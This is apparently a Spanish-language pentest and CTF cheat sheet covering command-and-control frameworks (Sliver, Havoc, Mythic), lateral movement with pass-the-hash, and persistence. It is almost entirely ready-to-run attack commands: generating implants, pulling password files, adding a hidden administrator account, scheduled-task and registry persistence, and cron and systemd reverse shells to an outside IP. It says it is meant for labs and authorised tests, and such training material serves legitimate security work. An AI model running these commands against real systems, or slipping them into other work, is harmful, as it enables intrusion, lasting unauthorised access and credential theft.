C2 y post-explotación
Cómo levantar un C2, mantener el acceso y saltar de un equipo a otro, con los comandos de operador de cada framework. Úsalo solo en laboratorios y en pentests autorizados.
Sliver
C2 en Go, un solo binario, muy usado en CTF y pentest. El servidor y la consola van juntos; genera el implante y levanta el listener desde la misma consola.
Arrancar
sliver-server
mtls --lhost 10.10.14.5 --lport 443
https --lhost 10.10.14.5 --lport 443
Generar implantes
generate --mtls 10.10.14.5:443 --os windows --arch amd64 --format exe --save /tmp
generate beacon --http 10.10.14.5 --seconds 30 --jitter 5 --os windows --save /tmp
generate --mtls 10.10.14.5 --format shellcode --save /tmp/sc.bin
Operar
sessions
use <id>
info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\fichero
portfwd add --bind 127.0.0.1:1433 --remote 10.10.0.5:1433
Havoc
C2 con interfaz gráfica (cliente Qt) y el agente Demon. El teamserver carga un perfil en YAML; el cliente se conecta a él.
Arrancar
./havoc server --profile profiles/havoc.yaotl -v
./havoc client
Agente Demon
El implante se genera desde el cliente (Attack > Payload). Luego se controla con la consola del agente.
dir; shell whoami; upload /tmp/x.exe C:\\Windows\\Temp\\x.exe; download C:\\loot\\pass.txt
inline-execute /ruta/whoami.o
socks add 1080
Mythic
C2 modular que se despliega con Docker: cada agente (Apollo para Windows, Poseidon multiplataforma) y cada canal C2 es un contenedor. Se opera desde el navegador.
Desplegar
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli start
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD
Operar
El payload y el listener (C2 Profile) se crean en la interfaz web en https://127.0.0.1:7443. Abajo, órdenes típicas de Apollo.
shell whoami; download C:\\loot\\pass.txt; jobs; ps
execute_assembly -Assembly Seatbelt.exe -Arguments "-group=all"
Movimiento lateral
Con credenciales o un hash, saltar al siguiente equipo. De más ruidoso (psexec crea un servicio) a más discreto (WinRM, WMI). Todo acepta pass-the-hash.
Practícalo en: ActiveForestSaunaBlackfieldJabTimelapseCascade
PsExec
Crea un servicio y da SYSTEM. Defender lo caza a menudo.
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmd
WMI
Practícalo en: Cascade
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
wmic /node:10.10.11.20 /user:box.htb\\usuario /password:'Password123!' process call create "cmd /c calc.exe"
WinRM
Practícalo en: BlackfieldTimelapse
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b
Enter-PSSession -ComputerName 10.10.11.20 -Credential box.htb\\usuario
DCOM
Practícalo en: Jab
impacket-dcomexec -object MMC20 box.htb/usuario:'Password123!'@10.10.11.20
$c=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.11.20"))
$c.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc.exe","7")
Persistencia
Mantener el acceso tras un reinicio. En un pentest, apúntalo todo para limpiarlo al terminar.
Windows
schtasks /create /sc onlogon /tn "Updater" /tr "C:\\Windows\\Temp\\x.exe" /ru SYSTEM
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Updater /d "C:\\Windows\\Temp\\x.exe" /f
sc.exe create Updater binPath= "C:\\Windows\\Temp\\x.exe" start= auto
net user soporte 'Soporte123!' /add && net localgroup administrators soporte /add
Linux
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service
sudo systemctl enable --now upd
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA... tu_clave' >> ~/.ssh/authorized_keys
echo 'ssh-ed25519 AAAA... tu_clave' | sudo tee -a /root/.ssh/authorized_keys
Ningún comando coincide.